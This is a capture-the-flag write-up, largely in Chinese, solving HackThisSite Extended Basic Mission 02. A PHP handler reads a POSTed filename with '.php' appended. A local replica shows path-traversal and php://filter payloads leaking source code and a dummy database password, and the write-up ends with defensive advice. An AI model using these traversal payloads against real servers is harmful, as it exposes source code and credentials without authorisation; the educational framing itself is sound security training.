HackThisSite - Extended Basic Mission 02

Challenge

You have this function, provide the value which must be POST-ed as filename to obtain the desired results: Get the source code of hackthissite.org/index.php

给出一个把 POST 参数 filename 拼上 .php 后读取文件的函数,要求给出 filename 的值,读到站点根 index.php 的源码。

关卡页给出的函数:

1
2
3
<?php
$lvl_text = file_get_contents($_POST['filename'].'.php');
?>

状态:live 已通关(partially verified:当时提交的字符串未被留存)。处理函数和目录深度都在本地按同形目录树复现过,唯一推断出来的一步是处理脚本距站点根的层数。

Solution

file_get_contents 把一个路径当文件读成字符串,返回的是原始字节,不经过 PHP 解释器,所以读 .php 文件拿到的是源码。这正是题面要的 source code:读 index.php 得到它磁盘上的内容,而不是它渲染出来的页面。

路径完全由 $_POST['filename'] 决定,程序只做两件事:拼上 .php、然后读。没有任何目录白名单,也没有过滤 ..

函数固定追加 .php,乍看像扩展名黑名单。但 file_get_contents 不执行 PHP,读 .php 文件本来就是拿源码;而目标 index.php 的文件名里正好带 .php:追加的后缀恰好对得上,不构成障碍。真正要解决的是路径:提交处理脚本在 /missions/extbasic/ 下,目标是站点根的 index.php

处理脚本位于站点根的下面两级,往上爬两级再指名 index

1
/missions/extbasic/  ->  ..  ->  /missions/  ->  ..  ->  /

按同形目录树搭一个沙箱(站点根放 index.php,处理脚本放 missions/extbasic/template.php),把题面函数照抄为 template.php

1
2
3
4
5
<?php
// The level snippet, verbatim: the value is POST-ed as 'filename' and the
// '.php' suffix is appended for us by the application.
$lvl_text = file_get_contents($_POST['filename'] . '.php');
echo $lvl_text;

驱动脚本从处理脚本自己的目录(即它在正常部署下的 cwd)发起调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// Replay the level handler for a few candidate 'filename' values.
$values = ['index', '../../index',
'php://filter/convert.base64-encode/resource=../../index'];
foreach ($values as $v) {
$_POST['filename'] = $v;
echo "### filename=" . $v . "\n";
ob_start();
include __DIR__ . '/template.php';
$out = ob_get_clean();
echo ($out === '' ? "(empty)" : $out);
echo "\n";
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ cd replica/missions/extbasic && php probe.php
### filename=index
PHP Warning: file_get_contents(index.php): Failed to open stream: No such file or directory in <hts-workspace>/challenges/hts-playit/extbasic-02/replica/missions/extbasic/template.php on line 4
(empty)
### filename=../../index
<?php
// The file the level asks us to read the source of: hackthissite.org/index.php.
// The point of the exercise is that we get these raw bytes back, not the
// evaluated output, so the credential below is the prize.
define('HTS_DB_PASSWORD', 'swordfish');
if (isset($_GET['debug'])) {
echo "debug mode\n";
}

### filename=php://filter/convert.base64-encode/resource=../../index
PD9waHAKLy8gVGhlIGZpbGUgdGhlIGxldmVsIGFza3MgdXMgdG8gcmVhZCB0aGUgc291cmNlIG9mOiBoYWNrdGhpc3NpdGUub3JnL2luZGV4LnBocC4KLy8gVGhlIHBvaW50IG9mIHRoZSBleGVyY2lzZSBpcyB0aGF0IHdlIGdldCB0aGVzZSByYXcgYnl0ZXMgYmFjaywgbm90IHRoZQovLyBldmFsdWF0ZWQgb3V0cHV0LCBzbyB0aGUgY3JlZGVudGlhbCBiZWxvdyBpcyB0aGUgcHJpemUuCmRlZmluZSgnSFRTX0RCX1BBU1NXT1JEJywgJ3N3b3JkZmlzaCcpOwppZiAoaXNzZXQoJF9HRVRbJ2RlYnVnJ10pKSB7CiAgICBlY2hvICJkZWJ1ZyBtb2RlXG4iOwp9Cg==

第一行 index 失败,因为处理脚本所在目录里没有 index.php../../index 把站点根 index.php 的源码原样吐了出来(没有被执行)。php://filter 变体返回同一份字节的 base64,说明固定的 .php 后缀并不妨碍读源码,关键只在路径。

filename 字段填 ../../indexformkey 每次加载关卡页都会变,取页面和提交要在同一次运行里完成;提交必须带 Referer: <关卡页>,否则模板页丢弃该次尝试。会话 cookie 从环境变量 HTS_COOKIE 读入,不落盘。

Key points

  • $_POST['filename'] 未经校验进入 file_get_contents,构成路径遍历;用户控制的路径要先规范化再校验是否落在允许目录内(realpath 后做前缀比对)。
  • file_get_contents 读的是源码而不是执行结果,所以给 .php 目标补 .php 后缀不构成防护:这里的扩展名过滤是错觉。
  • ../ 的层数取决于处理脚本相对目标的深度:本关处理脚本在 /missions/extbasic/,距站点根两级,故用 ../../
  • 现代 PHP 里 %00 空字节截断早已失效(PHP 5.3.4 起字符串不再被 NUL 截断),本关也不需要它:目标本身就以 .php 结尾。
../../index